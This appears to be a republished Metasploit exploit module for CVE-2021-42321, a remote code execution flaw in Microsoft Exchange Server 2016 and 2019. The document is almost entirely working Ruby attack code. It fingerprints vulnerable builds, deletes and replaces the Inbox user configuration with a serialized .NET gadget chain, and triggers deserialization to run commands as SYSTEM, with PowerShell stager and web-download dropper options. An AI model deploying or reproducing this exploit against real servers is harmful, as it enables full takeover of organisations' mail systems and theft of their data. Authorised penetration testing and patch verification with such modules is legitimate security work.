Microsoft Exchange Server Remote Code Execution

This Metasploit module allows remote attackers to execute arbitrary code on Exchange Server 2019 CU10 prior to Security Update 3, Exchange Server 2019 CU11 prior to Security Update 2, Exchange Server 2016 CU21 prior to Security Update 3, and Exchange Server 2016 CU22 prior to Security Update 2. Note that authentication is required to exploit this vulnerability. The specific flaw exists due to the fact that the deny list for the ChainedSerializationBinder had a typo whereby an entry was typo'd as System.Security.ClaimsPrincipal instead of the proper value of System.Security.Claims.ClaimsPrincipal. By leveraging this vulnerability, attacks can bypass the ChainedSerializationBinder's deserialization deny list and execute code as NT AUTHORITY\SYSTEM. Tested against Exchange Server 2019 CU11 SU0 on Windows Server 2019, and Exchange Server 2016 CU22 SU0 on Windows Server 2016.


MD5 | efd5b7b7eed35abcd268380f164f3ebe

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'nokogiri'

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Exchange Server ChainedSerializationBinder Deny List Typo RCE',
'Description' => %q{
This vulnerability allows remote attackers to execute arbitrary code
on Exchange Server 2019 CU10 prior to Security Update 3, Exchange Server 2019 CU11
prior to Security Update 2, Exchange Server 2016 CU21 prior to
Security Update 3, and Exchange Server 2016 CU22 prior to
Security Update 2.

Note that authentication is required to exploit this vulnerability.

The specific flaw exists due to the fact that the deny list for the
ChainedSerializationBinder had a typo whereby an entry was typo'd as
System.Security.ClaimsPrincipal instead of the proper value of
System.Security.Claims.ClaimsPrincipal.

By leveraging this vulnerability, attacks can bypass the
ChainedSerializationBinder's deserialization deny list
and execute code as NT AUTHORITY\SYSTEM.

Tested against Exchange Server 2019 CU11 SU0 on Windows Server 2019,
and Exchange Server 2016 CU22 SU0 on Windows Server 2016.
},
'Author' => [
'pwnforsp', # Original Bug Discovery
'zcgonvh', # Of 360 noah lab, Original Bug Discovery
'Microsoft Threat Intelligence Center', # Discovery of exploitation in the wild
'Microsoft Security Response Center', # Discovery of exploitation in the wild
'peterjson', # Writeup
'testanull', # PoC Exploit
'Grant Willcox', # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D
],
'References' => [
['CVE', '2021-42321'],
['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321'],
['URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7'],
['URL', 'https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169'],
['URL', 'https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398'],
['URL', 'https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852']
],
'DisclosureDate' => '2021-12-09',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Type' => :win_cmd
}
],
[
'Windows Dropper',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest
}
}
],
[
'PowerShell Stager',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_stager
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'HttpClientTimeout' => 5,
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS, # Can easily log using advice at https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169
CONFIG_CHANGES # Alters the user configuration on the Inbox folder to get the payload to trigger.
]
}
)
)
register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('HttpUsername', [true, 'The username to log into the Exchange server as', '']),
OptString.new('HttpPassword', [true, 'The password to use to authenticate to the Exchange server', ''])
])
end

def post_auth?
true
end

def username
datastore['HttpUsername']
end

def password
datastore['HttpPassword']
end

def vuln_builds
# https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
[
[Rex::Version.new('15.1.2308.8'), Rex::Version.new('15.1.2308.20')], # Exchange Server 2016 CU21
[Rex::Version.new('15.1.2375.7'), Rex::Version.new('15.1.2375.17')], # Exchange Server 2016 CU22
[Rex::Version.new('15.2.922.7'), Rex::Version.new('15.2.922.19')], # Exchange Server 2019 CU10
[Rex::Version.new('15.2.986.5'), Rex::Version.new('15.2.986.14')] # Exchange Server 2019 CU11
]
end

def check
# First lets try a cheap way of doing this via a leak of the X-OWA-Version header.
# If we get this we know the version number for sure and we can skip a lot of leg work.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/owa/service')
)

unless res
return CheckCode::Unknown('Target did not respond to check.')
end

if res.headers['X-OWA-Version']
build = res.headers['X-OWA-Version']
if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }
return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.")
else
return CheckCode::Safe("Exchange Server #{build} is not a vulnerable build.")
end
end

# Next, determine if we are up against an older version of Exchange Server where
# the /owa/auth/logon.aspx page gives the full version. Recent versions of Exchange
# give only a partial version without the build number.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx')
)

unless res
return CheckCode::Unknown('Target did not respond to check.')
end

if res.code == 200 && ((%r{/owa/(?<build>\d+\.\d+\.\d+\.\d+)} =~ res.body) || (%r{/owa/auth/(?<build>\d+\.\d+\.\d+\.\d+)} =~ res.body))
if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }
return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.")
else
return CheckCode::Safe("Exchange Server #{build} is not a vulnerable build.")
end
end

# Next try @tseller's way and try /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application
# URL which if successful should provide some XML with entries like the following:
#
# <assemblyIdentity name="microsoft.exchange.ediscovery.exporttool.application"
# version="15.2.986.5" publicKeyToken="b1d1a6c45aa418ce" language="neutral"
# processorArchitecture="msil" xmlns="urn:schemas-microsoft-com:asm.v1" />
#
# This only works on Exchange Server 2013 and later and may not always work, but if it
# does work it provides the full version number so its a nice strategy.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/ecp/current/exporttool/microsoft.exchange.ediscovery.exporttool.application')
)

unless res
return CheckCode::Unknown('Target did not respond to check.')
end

if res.code == 200 && res.body =~ /name="microsoft.exchange.ediscovery.exporttool" version="\d+\.\d+\.\d+\.\d+"/
build = res.body.match(/name="microsoft.exchange.ediscovery.exporttool" version="(\d+\.\d+\.\d+\.\d+)"/)[1]
if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }
return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.")
else
return CheckCode::Safe("Exchange Server #{build} is not a vulnerable build.")
end
end

# Finally, try a variation on the above and use a well known trick of grabbing /owa/auth/logon.aspx
# to get a partial version number, then use the URL at /ecp/<version here>/exporttool/. If we get a 200
# OK response, we found the target version number, otherwise we didn't find it.
#
# Props go to @jmartin-r7 for improving my original code for this and suggestion the use of
# canonical_segments to make this close to the Rex::Version code format. Also for noticing that
# version_range is a Rex::Version object already and cleaning up some of my original code to simplify
# things on this premise.

vuln_builds.each do |version_range|
return CheckCode::Unknown('Range provided is not iterable') unless version_range[0].canonical_segments[0..-2] == version_range[1].canonical_segments[0..-2]

prepend_range = version_range[0].canonical_segments[0..-2]
lowest_patch = version_range[0].canonical_segments.last
while Rex::Version.new((prepend_range.dup << lowest_patch).join('.')) <= version_range[1]
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/ecp/#{build}/exporttool/")
)
unless res
return CheckCode::Unknown('Target did not respond to check.')
end
if res && res.code == 200
return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.")
end

lowest_patch += 1
end

CheckCode::Unknown('Could not determine the build number of the target Exchange Server.')
end
end

def exploit
case target['Type']
when :win_cmd
execute_command(payload.encoded)
when :win_dropper
execute_cmdstager
when :psh_stager
execute_command(cmd_psh_payload(
payload.encoded,
payload.arch.first,
remove_comspec: true
))
end
end

def execute_command(cmd, _opts = {})
# Get the user's inbox folder's ID and change key ID.
print_status("Getting the user's inbox folder's ID and ChangeKey ID...")
xml_getfolder_inbox = %(<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
</soap:Header>
<soap:Body>
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>AllProperties</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="inbox" />
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>)

res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
'data' => xml_getfolder_inbox,
'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
}
)
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?

unless res&.body
fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
end

xml_getfolder = res.get_xml_document
xml_getfolder.remove_namespaces!
xml_tag = xml_getfolder.xpath('//FolderId')
if xml_tag.empty?
fail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!')
end
unless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey')
fail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!')
end
change_key_val = xml_tag.attribute('ChangeKey').value
folder_id_val = xml_tag.attribute('Id').value
print_good("ChangeKey value for Inbox folder is #{change_key_val}")
print_good("ID value for Inbox folder is #{folder_id_val}")

# Delete the user configuration object that currently on the Inbox folder.
print_status('Deleting the user configuration object associated with Inbox folder...')
xml_delete_inbox_user_config = %(<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
</soap:Header>
<soap:Body>
<m:DeleteUserConfiguration>
<m:UserConfigurationName Name="ExtensionMasterTable">
<t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" />
</m:UserConfigurationName>
</m:DeleteUserConfiguration>
</soap:Body>
</soap:Envelope>)

res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
'data' => xml_delete_inbox_user_config,
'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
}
)
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?

unless res&.body
fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
end

if res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>}
print_good('Successfully deleted the user configuration object associated with the Inbox folder!')
else
print_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!')
print_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!')
end

# Now to replace the deleted user configuration object with our own user configuration object.
print_status('Creating the malicious user configuration object on the Inbox folder!')

gadget_chain = Rex::Text.encode_base64(Msf::Util::DotNetDeserialization.generate(cmd, gadget_chain: :ClaimsPrincipal, formatter: :BinaryFormatter))
xml_malicious_user_config = %(<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
</soap:Header>
<soap:Body>
<m:CreateUserConfiguration>
<m:UserConfiguration>
<t:UserConfigurationName Name="ExtensionMasterTable">
<t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" />
</t:UserConfigurationName>
<t:Dictionary>
<t:DictionaryEntry>
<t:DictionaryKey>
<t:Type>String</t:Type>
<t:Value>OrgChkTm</t:Value>
</t:DictionaryKey>
<t:DictionaryValue>
<t:Type>Integer64</t:Type>
<t:Value>#{rand(1000000000000000000..9111999999999999999)}</t:Value>
</t:DictionaryValue>
</t:DictionaryEntry>
<t:DictionaryEntry>
<t:DictionaryKey>
<t:Type>String</t:Type>
<t:Value>OrgDO</t:Value>
</t:DictionaryKey>
<t:DictionaryValue>
<t:Type>Boolean</t:Type>
<t:Value>false</t:Value>
</t:DictionaryValue>
</t:DictionaryEntry>
</t:Dictionary>
<t:BinaryData>#{gadget_chain}</t:BinaryData>
</m:UserConfiguration>
</m:CreateUserConfiguration>
</soap:Body>
</soap:Envelope>)

res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
'data' => xml_malicious_user_config,
'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
}
)
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?

unless res&.body
fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
end

unless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>}
fail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!')
end

print_good('Successfully created the malicious user configuration object and associated with the Inbox folder!')

# Deserialize our object. If all goes well, you should now have SYSTEM :)
print_status('Attempting to deserialize the user configuration object using a GetClientAccessToken request...')
xml_get_client_access_token = %(<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
</soap:Header>
<soap:Body>
<m:GetClientAccessToken>
<m:TokenRequests>
<t:TokenRequest>
<t:Id>#{Rex::Text.rand_text_alphanumeric(4..50)}</t:Id>
<t:TokenType>CallerIdentity</t:TokenType>
</t:TokenRequest>
</m:TokenRequests>
</m:GetClientAccessToken>
</soap:Body>
</soap:Envelope>)

res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
'data' => xml_get_client_access_token,
'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
}
)
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?

unless res&.body
fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
end

unless res.body =~ %r{<e:Message xmlns:e="http://schemas.microsoft.com/exchange/services/2006/errors">An internal server error occurred. The operation failed.</e:Message>}
fail_with(Failure::UnexpectedReply, 'Did not recieve the expected internal server error upon deserialization!')
end
end
end

Related Posts